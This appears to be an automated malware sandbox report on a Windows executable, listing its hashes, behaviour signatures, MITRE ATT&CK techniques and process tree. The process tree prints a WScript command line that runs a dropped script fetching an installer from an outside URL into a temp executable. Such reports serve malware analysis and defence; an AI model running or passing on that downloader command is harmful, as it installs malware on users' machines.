8fc49397bc31306f551b3f93b243bfce8bc0a02e6d8813ea385006b07141d4b8

General

Target

2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe
Size

184KB
MD5

2bb9984bb33a0ce7431ba9240640cebc
SHA1

62552f35077ddccd420e3524cd25e028a66afdcf
SHA256

8fc49397bc31306f551b3f93b243bfce8bc0a02e6d8813ea385006b07141d4b8
SHA512

7512074da49cd4163afceecffe853fc8c19ded2cf7bd296a6d1978f164122063f830a33e0425ee172688ad9ab69f1f25539ad61693795711fa60e178d94e9b67
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO33:/7BSH8zUB+nGESaaRvoB7FJNndnq

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
7	3600	WScript.exe
36	3160	WScript.exe
44	3932	WScript.exe
59	3048	WScript.exe
61	1928	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000_Classes\Local Settings	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3664 wrote to memory of 3600	3664	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	83
PID 3664 wrote to memory of 3600	3664	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	83
PID 3664 wrote to memory of 3600	3664	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	83
PID 3664 wrote to memory of 3160	3664	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	96
PID 3664 wrote to memory of 3160	3664	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	96
PID 3664 wrote to memory of 3160	3664	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	96
PID 3664 wrote to memory of 3932	3664	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	97
PID 3664 wrote to memory of 3932	3664	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	97
PID 3664 wrote to memory of 3932	3664	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	97
PID 3664 wrote to memory of 3048	3664	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	100
PID 3664 wrote to memory of 3048	3664	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	100
PID 3664 wrote to memory of 3048	3664	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	100
PID 3664 wrote to memory of 1928	3664	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	101
PID 3664 wrote to memory of 1928	3664	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	101
PID 3664 wrote to memory of 1928	3664	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	101

C:\Users\Admin\AppData\Local\Temp\2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3664
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf39AD.js" http://www.djapp.info/?domain=ZkgITneosA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf39AD.exe
  2⤵
  - Blocklisted process makes network request
  PID:3600
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf39AD.js" http://www.djapp.info/?domain=ZkgITneosA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf39AD.exe
  2⤵
  - Blocklisted process makes network request
  PID:3160
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf39AD.js" http://www.djapp.info/?domain=ZkgITneosA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf39AD.exe
  2⤵
  - Blocklisted process makes network request
  PID:3932
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf39AD.js" http://www.djapp.info/?domain=ZkgITneosA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf39AD.exe
  2⤵
  - Blocklisted process makes network request
  PID:3048
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf39AD.js" http://www.djapp.info/?domain=ZkgITneosA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf39AD.exe
  2⤵
  - Blocklisted process makes network request
  PID:1928

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf39AD.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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